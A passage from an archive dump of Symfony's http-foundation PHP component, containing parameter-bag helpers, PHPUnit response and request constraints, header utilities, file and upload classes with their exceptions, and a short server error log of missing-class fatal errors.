$this->parameters[$key] = $value; } /** * Returns true if the parameter is defined. */ public function has(string $key): bool { return \array_key_exists($key, $this->parameters); } /** * Removes a parameter. * * @return void */ public function remove(string $key) { unset($this->parameters[$key]); } /** * Returns the alphabetic characters of the parameter value. */ public function getAlpha(string $key, string $default = ''): string { return preg_replace('/[^[:alpha:]]/', '', $this->getString($key, $default)); } /** * Returns the alphabetic characters and digits of the parameter value. */ public function getAlnum(string $key, string $default = ''): string { return preg_replace('/[^[:alnum:]]/', '', $this->getString($key, $default)); } /** * Returns the digits of the parameter value. */ public function getDigits(string $key, string $default = ''): string { return preg_replace('/[^[:digit:]]/', '', $this->getString($key, $default)); } /** * Returns the parameter as string. */ public function getString(string $key, string $default = ''): string { $value = $this->get($key, $default); if (!\is_scalar($value) && !$value instanceof \Stringable) { throw new \UnexpectedValueException(sprintf('Parameter value "%s" cannot be converted to "string".', $key)); } return (string) $value; } /** * Returns the parameter value converted to integer. */ public function getInt(string $key, int $default = 0): int { // In 7.0 remove the fallback to 0, in case of failure an exception will be thrown return $this->filter($key, $default, \FILTER_VALIDATE_INT, ['flags' => \FILTER_REQUIRE_SCALAR]) ?: 0; } /** * Returns the parameter value converted to boolean. */ public function getBoolean(string $key, bool $default = false): bool { return $this->filter($key, $default, \FILTER_VALIDATE_BOOL, ['flags' => \FILTER_REQUIRE_SCALAR]); } /** * Returns the parameter value converted to an enum. * * @template T of \BackedEnum * * @param class-string $class * @param ?T $default * * @return ?T */ public function getEnum(string $key, string $class, \BackedEnum $default = null): ?\BackedEnum { $value = $this->get($key); if (null === $value) { return $default; } try { return $class::from($value); } catch (\ValueError|\TypeError $e) { throw new \UnexpectedValueException(sprintf('Parameter "%s" cannot be converted to enum: %s.', $key, $e->getMessage()), $e->getCode(), $e); } } /** * Filter key. * * @param int $filter FILTER_* constant * @param int|array{flags?: int, options?: array} $options Flags from FILTER_* constants * * @see https://php.net/filter-var */ public function filter(string $key, mixed $default = null, int $filter = \FILTER_DEFAULT, mixed $options = []): mixed { $value = $this->get($key, $default); // Always turn $options into an array - this allows filter_var option shortcuts. if (!\is_array($options) && $options) { $options = ['flags' => $options]; } // Add a convenience check for arrays. if (\is_array($value) && !isset($options['flags'])) { $options['flags'] = \FILTER_REQUIRE_ARRAY; } if (\is_object($value) && !$value instanceof \Stringable) { throw new \UnexpectedValueException(sprintf('Parameter value "%s" cannot be filtered.', $key)); } if ((\FILTER_CALLBACK & $filter) && !(($options['options'] ?? null) instanceof \Closure)) { throw new \InvalidArgumentException(sprintf('A Closure must be passed to "%s()" when FILTER_CALLBACK is used, "%s" given.', __METHOD__, get_debug_type($options['options'] ?? null))); } $options['flags'] ??= 0; $nullOnFailure = $options['flags'] & \FILTER_NULL_ON_FAILURE; $options['flags'] |= \FILTER_NULL_ON_FAILURE; $value = filter_var($value, $filter, $options); if (null !== $value || $nullOnFailure) { return $value; } $method = debug_backtrace(\DEBUG_BACKTRACE_IGNORE_ARGS | \DEBUG_BACKTRACE_PROVIDE_OBJECT, 2)[1]; $method = ($method['object'] ?? null) === $this ? $method['function'] : 'filter'; $hint = 'filter' === $method ? 'pass' : 'use method "filter()" with'; trigger_deprecation('symfony/http-foundation', '6.3', 'Ignoring invalid values when using "%s::%s(\'%s\')" is deprecated and will throw an "%s" in 7.0; '.$hint.' flag "FILTER_NULL_ON_FAILURE" to keep ignoring them.', $this::class, $method, $key, \UnexpectedValueException::class); return false; } /** * Returns an iterator for parameters. * * @return \ArrayIterator */ public function getIterator(): \ArrayIterator { return new \ArrayIterator($this->parameters); } /** * Returns the number of parameters. */ public function count(): int { return \count($this->parameters); } } http-foundation/Test/Constraint/ResponseStatusCodeSame.php000064400000002262151113511510020042 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\HttpFoundation\Response; final class ResponseStatusCodeSame extends Constraint { private int $statusCode; public function __construct(int $statusCode) { $this->statusCode = $statusCode; } public function toString(): string { return 'status code is '.$this->statusCode; } /** * @param Response $response */ protected function matches($response): bool { return $this->statusCode === $response->getStatusCode(); } /** * @param Response $response */ protected function failureDescription($response): string { return 'the Response '.$this->toString(); } /** * @param Response $response */ protected function additionalFailureDescription($response): string { return (string) $response; } } http-foundation/Test/Constraint/RequestAttributeValueSame.php000064400000002150151113511510020552 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\HttpFoundation\Request; final class RequestAttributeValueSame extends Constraint { private string $name; private string $value; public function __construct(string $name, string $value) { $this->name = $name; $this->value = $value; } public function toString(): string { return sprintf('has attribute "%s" with value "%s"', $this->name, $this->value); } /** * @param Request $request */ protected function matches($request): bool { return $this->value === $request->attributes->get($this->name); } /** * @param Request $request */ protected function failureDescription($request): string { return 'the Request '.$this->toString(); } } http-foundation/Test/Constraint/ResponseCookieValueSame.php000064400000004016151113511510020171 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\HttpFoundation\Cookie; use Symfony\Component\HttpFoundation\Response; final class ResponseCookieValueSame extends Constraint { private string $name; private string $value; private string $path; private ?string $domain; public function __construct(string $name, string $value, string $path = '/', string $domain = null) { $this->name = $name; $this->value = $value; $this->path = $path; $this->domain = $domain; } public function toString(): string { $str = sprintf('has cookie "%s"', $this->name); if ('/' !== $this->path) { $str .= sprintf(' with path "%s"', $this->path); } if ($this->domain) { $str .= sprintf(' for domain "%s"', $this->domain); } $str .= sprintf(' with value "%s"', $this->value); return $str; } /** * @param Response $response */ protected function matches($response): bool { $cookie = $this->getCookie($response); if (!$cookie) { return false; } return $this->value === (string) $cookie->getValue(); } /** * @param Response $response */ protected function failureDescription($response): string { return 'the Response '.$this->toString(); } protected function getCookie(Response $response): ?Cookie { $cookies = $response->headers->getCookies(); $filteredCookies = array_filter($cookies, fn (Cookie $cookie) => $cookie->getName() === $this->name && $cookie->getPath() === $this->path && $cookie->getDomain() === $this->domain); return reset($filteredCookies) ?: null; } } http-foundation/Test/Constraint/ResponseIsUnprocessable.php000064400000002027151113511510020256 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\HttpFoundation\Response; final class ResponseIsUnprocessable extends Constraint { public function toString(): string { return 'is unprocessable'; } /** * @param Response $other */ protected function matches($other): bool { return Response::HTTP_UNPROCESSABLE_ENTITY === $other->getStatusCode(); } /** * @param Response $other */ protected function failureDescription($other): string { return 'the Response '.$this->toString(); } /** * @param Response $other */ protected function additionalFailureDescription($other): string { return (string) $other; } } http-foundation/Test/Constraint/ResponseIsSuccessful.php000064400000002000151113511510017557 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\HttpFoundation\Response; final class ResponseIsSuccessful extends Constraint { public function toString(): string { return 'is successful'; } /** * @param Response $response */ protected function matches($response): bool { return $response->isSuccessful(); } /** * @param Response $response */ protected function failureDescription($response): string { return 'the Response '.$this->toString(); } /** * @param Response $response */ protected function additionalFailureDescription($response): string { return (string) $response; } } http-foundation/Test/Constraint/ResponseIsRedirected.php000064400000001776151113511510017535 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\HttpFoundation\Response; final class ResponseIsRedirected extends Constraint { public function toString(): string { return 'is redirected'; } /** * @param Response $response */ protected function matches($response): bool { return $response->isRedirect(); } /** * @param Response $response */ protected function failureDescription($response): string { return 'the Response '.$this->toString(); } /** * @param Response $response */ protected function additionalFailureDescription($response): string { return (string) $response; } } http-foundation/Test/Constraint/ResponseFormatSame.php000064400000002674151113511510017223 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; /** * Asserts that the response is in the given format. * * @author Kévin Dunglas */ final class ResponseFormatSame extends Constraint { private Request $request; private ?string $format; public function __construct(Request $request, ?string $format) { $this->request = $request; $this->format = $format; } public function toString(): string { return 'format is '.($this->format ?? 'null'); } /** * @param Response $response */ protected function matches($response): bool { return $this->format === $this->request->getFormat($response->headers->get('Content-Type')); } /** * @param Response $response */ protected function failureDescription($response): string { return 'the Response '.$this->toString(); } /** * @param Response $response */ protected function additionalFailureDescription($response): string { return (string) $response; } } http-foundation/Test/Constraint/ResponseHeaderSame.php000064400000002276151113511520017162 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\HttpFoundation\Response; final class ResponseHeaderSame extends Constraint { private string $headerName; private string $expectedValue; public function __construct(string $headerName, string $expectedValue) { $this->headerName = $headerName; $this->expectedValue = $expectedValue; } public function toString(): string { return sprintf('has header "%s" with value "%s"', $this->headerName, $this->expectedValue); } /** * @param Response $response */ protected function matches($response): bool { return $this->expectedValue === $response->headers->get($this->headerName, null); } /** * @param Response $response */ protected function failureDescription($response): string { return 'the Response '.$this->toString(); } } http-foundation/Test/Constraint/ResponseHasHeader.php000064400000002017151113511520017001 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\HttpFoundation\Response; final class ResponseHasHeader extends Constraint { private string $headerName; public function __construct(string $headerName) { $this->headerName = $headerName; } public function toString(): string { return sprintf('has header "%s"', $this->headerName); } /** * @param Response $response */ protected function matches($response): bool { return $response->headers->has($this->headerName); } /** * @param Response $response */ protected function failureDescription($response): string { return 'the Response '.$this->toString(); } } http-foundation/Test/Constraint/ResponseHasCookie.php000064400000003415151113511520017025 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Test\Constraint; use PHPUnit\Framework\Constraint\Constraint; use Symfony\Component\HttpFoundation\Cookie; use Symfony\Component\HttpFoundation\Response; final class ResponseHasCookie extends Constraint { private string $name; private string $path; private ?string $domain; public function __construct(string $name, string $path = '/', string $domain = null) { $this->name = $name; $this->path = $path; $this->domain = $domain; } public function toString(): string { $str = sprintf('has cookie "%s"', $this->name); if ('/' !== $this->path) { $str .= sprintf(' with path "%s"', $this->path); } if ($this->domain) { $str .= sprintf(' for domain "%s"', $this->domain); } return $str; } /** * @param Response $response */ protected function matches($response): bool { return null !== $this->getCookie($response); } /** * @param Response $response */ protected function failureDescription($response): string { return 'the Response '.$this->toString(); } private function getCookie(Response $response): ?Cookie { $cookies = $response->headers->getCookies(); $filteredCookies = array_filter($cookies, fn (Cookie $cookie) => $cookie->getName() === $this->name && $cookie->getPath() === $this->path && $cookie->getDomain() === $this->domain); return reset($filteredCookies) ?: null; } } http-foundation/HeaderUtils.php000064400000021645151113511520012614 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * HTTP header utility functions. * * @author Christian Schmidt */ class HeaderUtils { public const DISPOSITION_ATTACHMENT = 'attachment'; public const DISPOSITION_INLINE = 'inline'; /** * This class should not be instantiated. */ private function __construct() { } /** * Splits an HTTP header by one or more separators. * * Example: * * HeaderUtils::split('da, en-gb;q=0.8', ',;') * // => ['da'], ['en-gb', 'q=0.8']] * * @param string $separators List of characters to split on, ordered by * precedence, e.g. ',', ';=', or ',;=' * * @return array Nested array with as many levels as there are characters in * $separators */ public static function split(string $header, string $separators): array { if ('' === $separators) { throw new \InvalidArgumentException('At least one separator must be specified.'); } $quotedSeparators = preg_quote($separators, '/'); preg_match_all(' / (?!\s) (?: # quoted-string "(?:[^"\\\\]|\\\\.)*(?:"|\\\\|$) | # token [^"'.$quotedSeparators.']+ )+ (?['.$quotedSeparators.']) \s* /x', trim($header), $matches, \PREG_SET_ORDER); return self::groupParts($matches, $separators); } /** * Combines an array of arrays into one associative array. * * Each of the nested arrays should have one or two elements. The first * value will be used as the keys in the associative array, and the second * will be used as the values, or true if the nested array only contains one * element. Array keys are lowercased. * * Example: * * HeaderUtils::combine([['foo', 'abc'], ['bar']]) * // => ['foo' => 'abc', 'bar' => true] */ public static function combine(array $parts): array { $assoc = []; foreach ($parts as $part) { $name = strtolower($part[0]); $value = $part[1] ?? true; $assoc[$name] = $value; } return $assoc; } /** * Joins an associative array into a string for use in an HTTP header. * * The key and value of each entry are joined with '=', and all entries * are joined with the specified separator and an additional space (for * readability). Values are quoted if necessary. * * Example: * * HeaderUtils::toString(['foo' => 'abc', 'bar' => true, 'baz' => 'a b c'], ',') * // => 'foo=abc, bar, baz="a b c"' */ public static function toString(array $assoc, string $separator): string { $parts = []; foreach ($assoc as $name => $value) { if (true === $value) { $parts[] = $name; } else { $parts[] = $name.'='.self::quote($value); } } return implode($separator.' ', $parts); } /** * Encodes a string as a quoted string, if necessary. * * If a string contains characters not allowed by the "token" construct in * the HTTP specification, it is backslash-escaped and enclosed in quotes * to match the "quoted-string" construct. */ public static function quote(string $s): string { if (preg_match('/^[a-z0-9!#$%&\'*.^_`|~-]+$/i', $s)) { return $s; } return '"'.addcslashes($s, '"\\"').'"'; } /** * Decodes a quoted string. * * If passed an unquoted string that matches the "token" construct (as * defined in the HTTP specification), it is passed through verbatim. */ public static function unquote(string $s): string { return preg_replace('/\\\\(.)|"/', '$1', $s); } /** * Generates an HTTP Content-Disposition field-value. * * @param string $disposition One of "inline" or "attachment" * @param string $filename A unicode string * @param string $filenameFallback A string containing only ASCII characters that * is semantically equivalent to $filename. If the filename is already ASCII, * it can be omitted, or just copied from $filename * * @throws \InvalidArgumentException * * @see RFC 6266 */ public static function makeDisposition(string $disposition, string $filename, string $filenameFallback = ''): string { if (!\in_array($disposition, [self::DISPOSITION_ATTACHMENT, self::DISPOSITION_INLINE])) { throw new \InvalidArgumentException(sprintf('The disposition must be either "%s" or "%s".', self::DISPOSITION_ATTACHMENT, self::DISPOSITION_INLINE)); } if ('' === $filenameFallback) { $filenameFallback = $filename; } // filenameFallback is not ASCII. if (!preg_match('/^[\x20-\x7e]*$/', $filenameFallback)) { throw new \InvalidArgumentException('The filename fallback must only contain ASCII characters.'); } // percent characters aren't safe in fallback. if (str_contains($filenameFallback, '%')) { throw new \InvalidArgumentException('The filename fallback cannot contain the "%" character.'); } // path separators aren't allowed in either. if (str_contains($filename, '/') || str_contains($filename, '\\') || str_contains($filenameFallback, '/') || str_contains($filenameFallback, '\\')) { throw new \InvalidArgumentException('The filename and the fallback cannot contain the "/" and "\\" characters.'); } $params = ['filename' => $filenameFallback]; if ($filename !== $filenameFallback) { $params['filename*'] = "utf-8''".rawurlencode($filename); } return $disposition.'; '.self::toString($params, ';'); } /** * Like parse_str(), but preserves dots in variable names. */ public static function parseQuery(string $query, bool $ignoreBrackets = false, string $separator = '&'): array { $q = []; foreach (explode($separator, $query) as $v) { if (false !== $i = strpos($v, "\0")) { $v = substr($v, 0, $i); } if (false === $i = strpos($v, '=')) { $k = urldecode($v); $v = ''; } else { $k = urldecode(substr($v, 0, $i)); $v = substr($v, $i); } if (false !== $i = strpos($k, "\0")) { $k = substr($k, 0, $i); } $k = ltrim($k, ' '); if ($ignoreBrackets) { $q[$k][] = urldecode(substr($v, 1)); continue; } if (false === $i = strpos($k, '[')) { $q[] = bin2hex($k).$v; } else { $q[] = bin2hex(substr($k, 0, $i)).rawurlencode(substr($k, $i)).$v; } } if ($ignoreBrackets) { return $q; } parse_str(implode('&', $q), $q); $query = []; foreach ($q as $k => $v) { if (false !== $i = strpos($k, '_')) { $query[substr_replace($k, hex2bin(substr($k, 0, $i)).'[', 0, 1 + $i)] = $v; } else { $query[hex2bin($k)] = $v; } } return $query; } private static function groupParts(array $matches, string $separators, bool $first = true): array { $separator = $separators[0]; $separators = substr($separators, 1); $i = 0; if ('' === $separators && !$first) { $parts = ['']; foreach ($matches as $match) { if (!$i && isset($match['separator'])) { $i = 1; $parts[1] = ''; } else { $parts[$i] .= self::unquote($match[0]); } } return $parts; } $parts = []; $partMatches = []; foreach ($matches as $match) { if (($match['separator'] ?? null) === $separator) { ++$i; } else { $partMatches[$i][] = $match; } } foreach ($partMatches as $matches) { $parts[] = '' === $separators ? self::unquote($matches[0][0]) : self::groupParts($matches, $separators, false); } return $parts; } } http-foundation/File/File.php000064400000010536151113511520012136 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File; use Symfony\Component\HttpFoundation\File\Exception\FileException; use Symfony\Component\HttpFoundation\File\Exception\FileNotFoundException; use Symfony\Component\Mime\MimeTypes; /** * A file in the file system. * * @author Bernhard Schussek */ class File extends \SplFileInfo { /** * Constructs a new file from the given path. * * @param string $path The path to the file * @param bool $checkPath Whether to check the path or not * * @throws FileNotFoundException If the given path is not a file */ public function __construct(string $path, bool $checkPath = true) { if ($checkPath && !is_file($path)) { throw new FileNotFoundException($path); } parent::__construct($path); } /** * Returns the extension based on the mime type. * * If the mime type is unknown, returns null. * * This method uses the mime type as guessed by getMimeType() * to guess the file extension. * * @see MimeTypes * @see getMimeType() */ public function guessExtension(): ?string { if (!class_exists(MimeTypes::class)) { throw new \LogicException('You cannot guess the extension as the Mime component is not installed. Try running "composer require symfony/mime".'); } return MimeTypes::getDefault()->getExtensions($this->getMimeType())[0] ?? null; } /** * Returns the mime type of the file. * * The mime type is guessed using a MimeTypeGuesserInterface instance, * which uses finfo_file() then the "file" system binary, * depending on which of those are available. * * @see MimeTypes */ public function getMimeType(): ?string { if (!class_exists(MimeTypes::class)) { throw new \LogicException('You cannot guess the mime type as the Mime component is not installed. Try running "composer require symfony/mime".'); } return MimeTypes::getDefault()->guessMimeType($this->getPathname()); } /** * Moves the file to a new location. * * @throws FileException if the target file could not be created */ public function move(string $directory, string $name = null): self { $target = $this->getTargetFile($directory, $name); set_error_handler(function ($type, $msg) use (&$error) { $error = $msg; }); try { $renamed = rename($this->getPathname(), $target); } finally { restore_error_handler(); } if (!$renamed) { throw new FileException(sprintf('Could not move the file "%s" to "%s" (%s).', $this->getPathname(), $target, strip_tags($error))); } @chmod($target, 0666 & ~umask()); return $target; } public function getContent(): string { $content = file_get_contents($this->getPathname()); if (false === $content) { throw new FileException(sprintf('Could not get the content of the file "%s".', $this->getPathname())); } return $content; } protected function getTargetFile(string $directory, string $name = null): self { if (!is_dir($directory)) { if (false === @mkdir($directory, 0777, true) && !is_dir($directory)) { throw new FileException(sprintf('Unable to create the "%s" directory.', $directory)); } } elseif (!is_writable($directory)) { throw new FileException(sprintf('Unable to write in the "%s" directory.', $directory)); } $target = rtrim($directory, '/\\').\DIRECTORY_SEPARATOR.(null === $name ? $this->getBasename() : $this->getName($name)); return new self($target, false); } /** * Returns locale independent base name of the given path. */ protected function getName(string $name): string { $originalName = str_replace('\\', '/', $name); $pos = strrpos($originalName, '/'); $originalName = false === $pos ? $originalName : substr($originalName, $pos + 1); return $originalName; } } http-foundation/File/Exception/NoFileException.php000064400000000734151113511520016247 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File\Exception; /** * Thrown when an UPLOAD_ERR_NO_FILE error occurred with UploadedFile. * * @author Florent Mata */ class NoFileException extends FileException { } http-foundation/File/Exception/IniSizeFileException.php000064400000000742151113511520017244 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File\Exception; /** * Thrown when an UPLOAD_ERR_INI_SIZE error occurred with UploadedFile. * * @author Florent Mata */ class IniSizeFileException extends FileException { } http-foundation/File/Exception/FileException.php000064400000000722151113511520015747 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File\Exception; /** * Thrown when an error occurred in the component File. * * @author Bernhard Schussek */ class FileException extends \RuntimeException { } http-foundation/File/Exception/CannotWriteFileException.php000064400000000750151113511520020126 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File\Exception; /** * Thrown when an UPLOAD_ERR_CANT_WRITE error occurred with UploadedFile. * * @author Florent Mata */ class CannotWriteFileException extends FileException { } http-foundation/File/Exception/UnexpectedTypeException.php000064400000001051151113511520020032 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File\Exception; class UnexpectedTypeException extends FileException { public function __construct(mixed $value, string $expectedType) { parent::__construct(sprintf('Expected argument of type %s, %s given', $expectedType, get_debug_type($value))); } } http-foundation/File/Exception/AccessDeniedException.php000064400000001132151113511520017376 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File\Exception; /** * Thrown when the access on a file was denied. * * @author Bernhard Schussek */ class AccessDeniedException extends FileException { public function __construct(string $path) { parent::__construct(sprintf('The file %s could not be accessed', $path)); } } http-foundation/File/Exception/FormSizeFileException.php000064400000000744151113511520017432 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File\Exception; /** * Thrown when an UPLOAD_ERR_FORM_SIZE error occurred with UploadedFile. * * @author Florent Mata */ class FormSizeFileException extends FileException { } http-foundation/File/Exception/PartialFileException.php000064400000000741151113511520017265 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File\Exception; /** * Thrown when an UPLOAD_ERR_PARTIAL error occurred with UploadedFile. * * @author Florent Mata */ class PartialFileException extends FileException { } http-foundation/File/Exception/UploadException.php000064400000000715151113511520016316 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File\Exception; /** * Thrown when an error occurred during file upload. * * @author Bernhard Schussek */ class UploadException extends FileException { } http-foundation/File/Exception/ExtensionFileException.php000064400000000745151113511520017651 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File\Exception; /** * Thrown when an UPLOAD_ERR_EXTENSION error occurred with UploadedFile. * * @author Florent Mata */ class ExtensionFileException extends FileException { } http-foundation/File/Exception/FileNotFoundException.php000064400000001112151113511520017416 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File\Exception; /** * Thrown when a file was not found. * * @author Bernhard Schussek */ class FileNotFoundException extends FileException { public function __construct(string $path) { parent::__construct(sprintf('The file "%s" does not exist', $path)); } } http-foundation/File/Exception/NoTmpDirFileException.php000064400000000745151113511520017371 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File\Exception; /** * Thrown when an UPLOAD_ERR_NO_TMP_DIR error occurred with UploadedFile. * * @author Florent Mata */ class NoTmpDirFileException extends FileException { } http-foundation/File/Stream.php000064400000000737151113511520012514 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File; /** * A PHP stream of unknown size. * * @author Nicolas Grekas */ class Stream extends File { public function getSize(): int|false { return false; } } http-foundation/File/error_log000064400000005300151113511520012454 0ustar00[19-Nov-2025 16:05:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\File" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/UploadedFile.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/UploadedFile.php on line 32 [19-Nov-2025 16:12:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\File" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Stream.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Stream.php on line 19 [19-Nov-2025 23:33:06 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\File" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/UploadedFile.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/UploadedFile.php on line 32 [19-Nov-2025 23:39:47 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\File" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Stream.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Stream.php on line 19 [25-Nov-2025 03:24:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\File" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Stream.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Stream.php on line 19 [25-Nov-2025 05:27:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\File" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/UploadedFile.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/UploadedFile.php on line 32 [26-Nov-2025 01:19:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\File" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Stream.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Stream.php on line 19 [26-Nov-2025 01:35:09 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\File" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/UploadedFile.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/UploadedFile.php on line 32 http-foundation/File/UploadedFile.php000064400000023307151113511520013614 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\File; use Symfony\Component\HttpFoundation\File\Exception\CannotWriteFileException; use Symfony\Component\HttpFoundation\File\Exception\ExtensionFileException; use Symfony\Component\HttpFoundation\File\Exception\FileException; use Symfony\Component\HttpFoundation\File\Exception\FileNotFoundException; use Symfony\Component\HttpFoundation\File\Exception\FormSizeFileException; use Symfony\Component\HttpFoundation\File\Exception\IniSizeFileException; use Symfony\Component\HttpFoundation\File\Exception\NoFileException; use Symfony\Component\HttpFoundation\File\Exception\NoTmpDirFileException; use Symfony\Component\HttpFoundation\File\Exception\PartialFileException; use Symfony\Component\Mime\MimeTypes; /** * A file uploaded through a form. * * @author Bernhard Schussek * @author Florian Eckerstorfer * @author Fabien Potencier */ class UploadedFile extends File { private bool $test; private string $originalName; private string $mimeType; private int $error; /** * Accepts the information of the uploaded file as provided by the PHP global $_FILES. * * The file object is only created when the uploaded file is valid (i.e. when the * isValid() method returns true). Otherwise the only methods that could be called * on an UploadedFile instance are: * * * getClientOriginalName, * * getClientMimeType, * * isValid, * * getError. * * Calling any other method on an non-valid instance will cause an unpredictable result. * * @param string $path The full temporary path to the file * @param string $originalName The original file name of the uploaded file * @param string|null $mimeType The type of the file as provided by PHP; null defaults to application/octet-stream * @param int|null $error The error constant of the upload (one of PHP's UPLOAD_ERR_XXX constants); null defaults to UPLOAD_ERR_OK * @param bool $test Whether the test mode is active * Local files are used in test mode hence the code should not enforce HTTP uploads * * @throws FileException If file_uploads is disabled * @throws FileNotFoundException If the file does not exist */ public function __construct(string $path, string $originalName, string $mimeType = null, int $error = null, bool $test = false) { $this->originalName = $this->getName($originalName); $this->mimeType = $mimeType ?: 'application/octet-stream'; $this->error = $error ?: \UPLOAD_ERR_OK; $this->test = $test; parent::__construct($path, \UPLOAD_ERR_OK === $this->error); } /** * Returns the original file name. * * It is extracted from the request from which the file has been uploaded. * This should not be considered as a safe value to use for a file name on your servers. */ public function getClientOriginalName(): string { return $this->originalName; } /** * Returns the original file extension. * * It is extracted from the original file name that was uploaded. * This should not be considered as a safe value to use for a file name on your servers. */ public function getClientOriginalExtension(): string { return pathinfo($this->originalName, \PATHINFO_EXTENSION); } /** * Returns the file mime type. * * The client mime type is extracted from the request from which the file * was uploaded, so it should not be considered as a safe value. * * For a trusted mime type, use getMimeType() instead (which guesses the mime * type based on the file content). * * @see getMimeType() */ public function getClientMimeType(): string { return $this->mimeType; } /** * Returns the extension based on the client mime type. * * If the mime type is unknown, returns null. * * This method uses the mime type as guessed by getClientMimeType() * to guess the file extension. As such, the extension returned * by this method cannot be trusted. * * For a trusted extension, use guessExtension() instead (which guesses * the extension based on the guessed mime type for the file). * * @see guessExtension() * @see getClientMimeType() */ public function guessClientExtension(): ?string { if (!class_exists(MimeTypes::class)) { throw new \LogicException('You cannot guess the extension as the Mime component is not installed. Try running "composer require symfony/mime".'); } return MimeTypes::getDefault()->getExtensions($this->getClientMimeType())[0] ?? null; } /** * Returns the upload error. * * If the upload was successful, the constant UPLOAD_ERR_OK is returned. * Otherwise one of the other UPLOAD_ERR_XXX constants is returned. */ public function 